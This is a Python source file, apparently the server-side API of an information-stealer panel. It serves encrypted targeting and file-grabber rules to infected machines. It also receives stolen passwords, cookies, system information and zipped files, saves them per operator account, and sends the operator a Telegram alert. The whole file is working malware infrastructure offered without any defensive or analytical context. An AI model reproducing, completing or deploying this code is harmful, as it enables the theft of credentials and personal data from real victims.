71 lines
2.7 KiB
Python
71 lines
2.7 KiB
Python
#!/usr/bin/env python3
|
|
# -*- coding: utf-8 -*-
|
|
# Coded by [email protected]
|
|
|
|
# Import modules
|
|
from markupsafe import escape
|
|
from flask import request, jsonify
|
|
# Import packages
|
|
from core.models.reports import Report
|
|
from core.models.accounts import Account
|
|
from core.models.errors import ApiErrors
|
|
from core.modules.telegram import NotifyUsers
|
|
from core.modules.targets import GetEnabledApps
|
|
from core.modules.grabber import GetGrabberRules
|
|
from core.modules.encryption import GetEncryptionKey, RC4Cipher
|
|
|
|
""" API requests handler """
|
|
def public_api_handler(function):
|
|
# Get account credentials
|
|
username = escape(request.args.get("username"))
|
|
account = Account(username, '')
|
|
|
|
# Check if account exists
|
|
if not account.exists():
|
|
return jsonify({"error": True,
|
|
"message": ApiErrors.Login.account_does_not_exist.format(username)})
|
|
# Init RC4 decryptor
|
|
cipher = RC4Cipher(GetEncryptionKey(username).encode("utf8"))
|
|
|
|
# Fetch encrypted user options for client
|
|
if function == "fetch_options":
|
|
# Get response data
|
|
apps = ",".join(GetEnabledApps(username))
|
|
_g_rules = GetGrabberRules(username)
|
|
grabber_extensions = ",".join(_g_rules["extensions"])
|
|
grabber_maxsize = str(_g_rules["max_size"])
|
|
grabber_paths = ",".join(_g_rules["paths"])
|
|
# Join response, encrypt and send to client
|
|
joined = "|".join([apps, grabber_extensions, grabber_paths, grabber_maxsize])
|
|
return cipher.Encrypt("SUCCESS:" + joined)
|
|
|
|
# Send new report
|
|
elif function == "send_report":
|
|
# Get report params
|
|
ip = request.remote_addr
|
|
data = cipher.CryptBytes(request.data) # Zip archive bytes
|
|
counter = cipher.Decrypt(escape(request.args.get("counter")))
|
|
cookies_list = cipher.Decrypt(escape(request.args.get("cookies")))
|
|
passwords_list = cipher.Decrypt(escape(request.args.get("passwords")))
|
|
information = cipher.Decrypt(escape(request.args.get("information")))
|
|
# Create report
|
|
new = Report(
|
|
archive=data,
|
|
counter=counter,
|
|
passwords_list=passwords_list,
|
|
cookies_list=cookies_list,
|
|
information=information,
|
|
)
|
|
# Save
|
|
new.SaveReport(ip, username)
|
|
# Telegram bot
|
|
NotifyUsers(new, username, ip)
|
|
# Response
|
|
return jsonify({"error": False,
|
|
"message": ApiErrors.Report.saved_ok})
|
|
|
|
# Method does not exists
|
|
else:
|
|
return jsonify({"error": True,
|
|
"message": ApiErrors.function_does_not_exist.format(function)})
|